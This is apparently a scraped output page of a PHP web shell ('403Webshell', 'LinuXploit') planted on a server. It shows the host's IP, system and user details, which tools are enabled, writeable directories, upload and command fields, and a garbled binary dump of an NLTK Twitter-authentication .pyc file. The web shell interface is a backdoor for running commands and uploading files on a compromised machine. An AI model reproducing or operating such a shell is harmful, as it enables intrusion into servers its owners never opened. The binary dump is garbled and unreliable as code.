403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/nltk/twitter/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/nltk/twitter/__pycache__/util.cpython-311.pyc
�

 T�c/��V�dZddlZddlZddlmZd
d�ZGd�d��Zdd�Zd	�ZdS)z8
Authentication utilities to accompany `twitterclient`.
�N)�TwythonFc�J�t���|||���S)z1
    Convenience function for authentication
    ��
creds_file�subdir�verbose)�Authenticate�
load_credsrs   �3/usr/lib/python3/dist-packages/nltk/twitter/util.py�
credsfromfilers,���>�>�$�$��f�g�%����c�(�eZdZdZd�Zdd�Zdd�ZdS)	r	z2
    Methods for authenticating with Twitter.
    c��d|_d|_i|_	tjd|_|j|_dS#t$rd|_d|_YdSwxYw)Nzcredentials.txt�TWITTER)r�creds_fullpath�oauth�os�environ�twitter_dir�creds_subdir�KeyError)�selfs r�__init__zAuthenticate.__init__!sq��+���"�����
�	%�!�z�)�4�D�� $� 0�D������	%�	%�	%�#�D�� $�D�����	%���s�#<�A�ANFc���|�||_|�|j�d}t|���n||_tj�tj�|j|j����|_tj�|j��std|j�����t|j��5}|rtd|j����|D]M}d|vrG|�dd��\}}|�
��|j|�
��<�N	ddd��n#1swxYwY|�|���|jS)a
        Read OAuth credentials from a text file.

        File format for OAuth 1::

           app_key=YOUR_APP_KEY
           app_secret=YOUR_APP_SECRET
           oauth_token=OAUTH_TOKEN
           oauth_token_secret=OAUTH_TOKEN_SECRET


        File format for OAuth 2::

           app_key=YOUR_APP_KEY
           app_secret=YOUR_APP_SECRET
           access_token=ACCESS_TOKEN

        :param str file_name: File containing credentials. ``None`` (default) reads
            data from `TWITTER/'credentials.txt'`
        NzQSupply a value to the 'subdir' parameter or set the TWITTER environment variable.zCannot find file zReading credentials file �=�)r)rr�
ValueErrorr�path�normpath�joinr�isfile�OSError�open�print�split�stripr�_validate_creds_file)	rrrr�msg�infile�line�name�values	         rr
zAuthenticate.load_creds-s���*�!�(�D�O��>�� �(�?��!��o�o�%�)�!'�D�� �g�.�.��G�L�L��*�D�O�<�<�
�
����w�~�~�d�1�2�2�	E��C�d�.A�C�C�D�D�D�
�$�%�
&�
&�	=�&��
I��G�$�2E�G�G�H�H�H��
=�
=���$�;�;�"&�*�*�S�!�"4�"4�K�D�%�/4�{�{�}�}�D�J�t�z�z�|�|�,��
=�		=�	=�	=�	=�	=�	=�	=�	=�	=�	=�	=����	=�	=�	=�	=�	
�!�!�'�!�2�2�2��z�s�A*D>�>E�Ec�B��d}gd�}d}gd�}t�fd�|D����rd}nt�fd�|D����rd}|s8|s6d�j�d�}|tj�j��z
}t|���|rt
d	�j�d
���dSdS)z%Check validity of a credentials file.F)�app_key�
app_secret�oauth_token�oauth_token_secret)r.r/�access_tokenc3�*�K�|]
}|�jvV��dS�N�r��.0�krs  �r�	<genexpr>z4Authenticate._validate_creds_file.<locals>.<genexpr>is)�����4�4�1�q�D�J��4�4�4�4�4�4r
Tc3�*�K�|]
}|�jvV��dSr4r5r6s  �rr9z4Authenticate._validate_creds_file.<locals>.<genexpr>ks)�����6�6�Q��d�j��6�6�6�6�6�6r
z Missing or incorrect entries in �
zCredentials file "z" looks goodN)�allr�pprint�pformatrrr$)rr�oauth1�oauth1_keys�oauth2�oauth2_keysr(s`      rr'z!Authenticate._validate_creds_filecs������T�T�T����?�?�?���4�4�4�4��4�4�4�4�4�	��F�F�
�6�6�6�6�+�6�6�6�
6�
6�	��F��	F�&�	F�H�T�_�H�H�H�C��6�>�$�*�-�-�-�C��S�/�/�!�
�	F��D�t��D�D�D�E�E�E�E�E�	F�	Fr
�NNF)F)�__name__�
__module__�__qualname__�__doc__rr
r'�r
rr	r	s\��������
%�
%�
%�4�4�4�4�lF�F�F�F�F�Fr
r	c��|�Dtj�t��}tj�|d��}t|���}|d}|d}t
||d���}|���}d|�d	�}t|d
��5}t||���ddd��dS#1swxYwYdS)zc
    For OAuth 2, retrieve an access token for an app and append it to a
    credentials file.
    Nzcredentials2.txt)rr.r/�)�
oauth_versionz
access_token=r;�a)�file)
rr�dirname�__file__r rr�obtain_access_tokenr#r$)	rrrAr.r/�twitterr2�tokr)s	         r�add_access_tokenrSvs��
���w���x�(�(���W�\�\�$�(:�;�;�
�
�j�
1�
1�
1�F��Y��G���%�J��g�z��;�;�;�G��.�.�0�0�L�
*�,�
*�
*�
*�C�	
�j�#�	�	� �&�
�c������ � � � � � � � � � � � ���� � � � � � s�#C�C�	Cc��tj�|��r|Stj�tj�d|����S)z�
    If the path is not absolute, guess that it is a subdirectory of the
    user's home directory.

    :param str pth: The pathname of the directory where files of tweets should be written
    �~)rr�isabs�
expanduserr )�pths r�
guess_pathrY�sE��
�w�}�}�S���:��
��w�!�!�"�'�,�,�s�C�"8�"8�9�9�9r
rCr4)	rGrr=�twythonrrr	rSrYrHr
r�<module>r[s�����
�	�	�	�
�
�
�
�����������WF�WF�WF�WF�WF�WF�WF�WF�t � � � �&
:�
:�
:�
:�
:r

Youez - 2016 - github.com/yon3zu
LinuXploit